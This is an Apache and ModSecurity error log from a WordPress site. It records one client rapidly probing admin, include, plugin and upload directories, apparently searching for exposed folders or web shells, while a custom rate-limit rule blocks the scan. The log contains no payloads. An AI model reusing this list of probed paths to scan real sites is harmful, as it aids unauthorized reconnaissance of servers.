[Mon Jan 05 18:25:58.002915 2026] [:error] [pid 5535:tid 5589] [client 156.146.33.76:40998] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files/"] [unique_id "aVuRtmnkedMjhVX0PTVXlwAAAFM"]
[Mon Jan 05 18:25:58.590867 2026] [:error] [pid 5536:tid 5606] [client 156.146.33.76:41002] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/editor/"] [unique_id "aVuRtgRtMZNG6xI8yDzGggAAAIk"]
[Mon Jan 05 18:25:59.169016 2026] [:error] [pid 6680:tid 6703] [client 156.146.33.76:41012] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/editor/"] [unique_id "aVuRt6E58uNoazzTmx3SPQAAARU"]
[Mon Jan 05 18:25:59.757470 2026] [:error] [pid 5534:tid 5563] [client 156.146.33.76:41020] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/editor/"] [unique_id "aVuRt5Ns9XmbR6unB0ycGQAAABQ"]
[Mon Jan 05 18:26:00.342870 2026] [:error] [pid 5632:tid 5645] [client 156.146.33.76:41034] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/editor/"] [unique_id "aVuRuIN3ZWvlOh-nbt-rOAAAAME"]
[Mon Jan 05 18:26:00.922040 2026] [:error] [pid 5536:tid 5610] [client 156.146.33.76:41042] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/include/"] [unique_id "aVuRuARtMZNG6xI8yDzGjAAAAI0"]
[Mon Jan 05 18:26:01.511225 2026] [:error] [pid 6680:tid 6704] [client 156.146.33.76:41044] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/include/"] [unique_id "aVuRuaE58uNoazzTmx3SPwAAARY"]
[Mon Jan 05 18:26:02.099297 2026] [:error] [pid 6680:tid 6682] [client 156.146.33.76:41050] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/include/"] [unique_id "aVuRuqE58uNoazzTmx3SQgAAAQA"]
[Mon Jan 05 18:26:02.689785 2026] [:error] [pid 5632:tid 5648] [client 156.146.33.76:41066] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/include/"] [unique_id "aVuRuoN3ZWvlOh-nbt-rPQAAAMQ"]
[Mon Jan 05 18:26:03.272355 2026] [:error] [pid 5632:tid 5659] [client 156.146.33.76:41076] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Assets/"] [unique_id "aVuRu4N3ZWvlOh-nbt-rQQAAAM8"]
[Mon Jan 05 18:26:03.857183 2026] [:error] [pid 5535:tid 5582] [client 156.146.33.76:41078] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Assets/"] [unique_id "aVuRu2nkedMjhVX0PTVXnAAAAEw"]
[Mon Jan 05 18:26:04.437427 2026] [:error] [pid 5534:tid 5565] [client 156.146.33.76:41088] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Assets/"] [unique_id "aVuRvJNs9XmbR6unB0ycKQAAABY"]
[Mon Jan 05 18:26:05.028723 2026] [:error] [pid 54081:tid 54097] [client 156.146.33.76:41102] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Assets/"] [unique_id "aVuRvVL4jLgtF-b9w4dqUQAAAU0"]
[Mon Jan 05 18:26:05.638283 2026] [:error] [pid 5536:tid 5607] [client 156.146.33.76:41106] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/stories/"] [unique_id "aVuRvQRtMZNG6xI8yDzGkAAAAIo"]
[Mon Jan 05 18:26:06.222910 2026] [:error] [pid 54081:tid 54100] [client 156.146.33.76:42632] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/stories/"] [unique_id "aVuRvlL4jLgtF-b9w4dqVAAAAVA"]
[Mon Jan 05 18:26:06.805670 2026] [:error] [pid 28407:tid 28423] [client 156.146.33.76:42640] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/stories/"] [unique_id "aVuRvtercd3ptydUzM0rcgAAAYw"]
[Mon Jan 05 18:26:07.385612 2026] [:error] [pid 6680:tid 6694] [client 156.146.33.76:42646] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/stories/"] [unique_id "aVuRv6E58uNoazzTmx3SSgAAAQw"]
[Mon Jan 05 18:26:07.967664 2026] [:error] [pid 5535:tid 5591] [client 156.146.33.76:42652] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/"] [unique_id "aVuRv2nkedMjhVX0PTVXpwAAAFU"]
[Mon Jan 05 18:26:08.546742 2026] [:error] [pid 5536:tid 5606] [client 156.146.33.76:42656] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/"] [unique_id "aVuRwARtMZNG6xI8yDzGlgAAAIk"]
[Mon Jan 05 18:26:09.126457 2026] [:error] [pid 54081:tid 54088] [client 156.146.33.76:42662] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/"] [unique_id "aVuRwVL4jLgtF-b9w4dqWgAAAUQ"]
[Mon Jan 05 18:26:09.720788 2026] [:error] [pid 5632:tid 5663] [client 156.146.33.76:42676] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/"] [unique_id "aVuRwYN3ZWvlOh-nbt-rWQAAANM"]
[Mon Jan 05 18:26:12.670351 2026] [autoindex:error] [pid 5534:tid 5552] [client 156.146.33.76:42688] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:26:15.935180 2026] [autoindex:error] [pid 5534:tid 5556] [client 156.146.33.76:42688] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:26:18.343854 2026] [autoindex:error] [pid 5534:tid 5567] [client 156.146.33.76:42688] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:26:18.656872 2026] [autoindex:error] [pid 5534:tid 5562] [client 156.146.33.76:42688] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:26:18.954839 2026] [autoindex:error] [pid 5534:tid 5550] [client 156.146.33.76:42688] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:26:19.253877 2026] [autoindex:error] [pid 5534:tid 5553] [client 156.146.33.76:42688] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:26:19.549763 2026] [autoindex:error] [pid 5534:tid 5552] [client 156.146.33.76:42688] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:26:19.852835 2026] [autoindex:error] [pid 5534:tid 5557] [client 156.146.33.76:42688] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/php-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:26:20.153204 2026] [autoindex:error] [pid 5534:tid 5563] [client 156.146.33.76:42688] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:26:20.450904 2026] [autoindex:error] [pid 5534:tid 5544] [client 156.146.33.76:42688] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:26:22.319696 2026] [autoindex:error] [pid 5534:tid 5554] [client 156.146.33.76:42688] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:26:22.616798 2026] [autoindex:error] [pid 5534:tid 5559] [client 156.146.33.76:42688] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:26:22.921907 2026] [autoindex:error] [pid 5534:tid 5561] [client 156.146.33.76:42688] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:26:23.216670 2026] [autoindex:error] [pid 5534:tid 5546] [client 156.146.33.76:42688] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:26:23.512154 2026] [autoindex:error] [pid 5534:tid 5567] [client 156.146.33.76:42688] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:26:23.806303 2026] [autoindex:error] [pid 5534:tid 5562] [client 156.146.33.76:42688] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:26:24.123822 2026] [autoindex:error] [pid 5534:tid 5550] [client 156.146.33.76:42688] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:26:24.432629 2026] [autoindex:error] [pid 5534:tid 5551] [client 156.146.33.76:42688] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 18:26:33.516373 2026] [:error] [pid 5534:tid 5548] [client 156.146.33.76:42688] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/uploads/images/"] [unique_id "aVuR2ZNs9XmbR6unB0ycawAAAAU"]
[Mon Jan 05 18:26:34.105267 2026] [:error] [pid 6680:tid 6688] [client 156.146.33.76:58706] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/uploads/images/"] [unique_id "aVuR2qE58uNoazzTmx3SgQAAAQY"]
[Mon Jan 05 18:26:34.687278 2026] [:error] [pid 5632:tid 5665] [client 156.146.33.76:58718] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/uploads/images/"] [unique_id "aVuR2oN3ZWvlOh-nbt-rggAAANU"]
[Mon Jan 05 18:26:35.272782 2026] [:error] [pid 5534:tid 5557] [client 156.146.33.76:58726] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/uploads/images/"] [unique_id "aVuR25Ns9XmbR6unB0ycbQAAAA4"]
[Mon Jan 05 18:26:35.861273 2026] [:error] [pid 5535:tid 5581] [client 156.146.33.76:58732] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/classic-editor/"] [unique_id "aVuR22nkedMjhVX0PTVXuQAAAEs"]
[Mon Jan 05 18:26:36.471536 2026] [:error] [pid 6680:tid 6698] [client 156.146.33.76:35912] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/classic-editor/"] [unique_id "aVuR3KE58uNoazzTmx3SgwAAARA"]
[Mon Jan 05 18:26:37.052087 2026] [:error] [pid 54081:tid 54108] [client 156.146.33.76:35920] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/classic-editor/"] [unique_id "aVuR3VL4jLgtF-b9w4dqdAAAAVg"]
[Mon Jan 05 18:26:37.637340 2026] [:error] [pid 5632:tid 5649] [client 156.146.33.76:35934] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/classic-editor/"] [unique_id "aVuR3YN3ZWvlOh-nbt-rhAAAAMU"]
[Mon Jan 05 18:26:38.220030 2026] [:error] [pid 6680:tid 6696] [client 156.146.33.76:35936] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/fonts/"] [unique_id "aVuR3qE58uNoazzTmx3ShQAAAQ4"]
[Mon Jan 05 18:26:38.806325 2026] [:error] [pid 5632:tid 5666] [client 156.146.33.76:35938] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/fonts/"] [unique_id "aVuR3oN3ZWvlOh-nbt-rhwAAANY"]
[Mon Jan 05 18:26:39.393781 2026] [:error] [pid 5632:tid 5667] [client 156.146.33.76:35950] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/fonts/"] [unique_id "aVuR34N3ZWvlOh-nbt-riQAAANc"]
[Mon Jan 05 18:26:39.988635 2026] [:error] [pid 5534:tid 5561] [client 156.146.33.76:35952] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/fonts/"] [unique_id "aVuR35Ns9XmbR6unB0ycdQAAABI"]
[Mon Jan 05 18:26:40.578097 2026] [:error] [pid 6680:tid 6691] [client 156.146.33.76:35960] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contact-form-7/admin/js/"] [unique_id "aVuR4KE58uNoazzTmx3SlgAAAQk"]
[Mon Jan 05 18:26:41.190590 2026] [:error] [pid 54081:tid 54105] [client 156.146.33.76:35964] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contact-form-7/admin/js/"] [unique_id "aVuR4VL4jLgtF-b9w4dqdgAAAVU"]
[Mon Jan 05 18:26:41.773576 2026] [:error] [pid 5536:tid 5612] [client 156.146.33.76:35976] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contact-form-7/admin/js/"] [unique_id "aVuR4QRtMZNG6xI8yDzGuAAAAI8"]
[Mon Jan 05 18:26:42.356924 2026] [:error] [pid 5632:tid 5662] [client 156.146.33.76:35988] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contact-form-7/admin/js/"] [unique_id "aVuR4oN3ZWvlOh-nbt-rkQAAANI"]
[Mon Jan 05 18:26:42.941393 2026] [:error] [pid 5632:tid 5664] [client 156.146.33.76:36002] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contact-form-7/"] [unique_id "aVuR4oN3ZWvlOh-nbt-rlgAAANQ"]
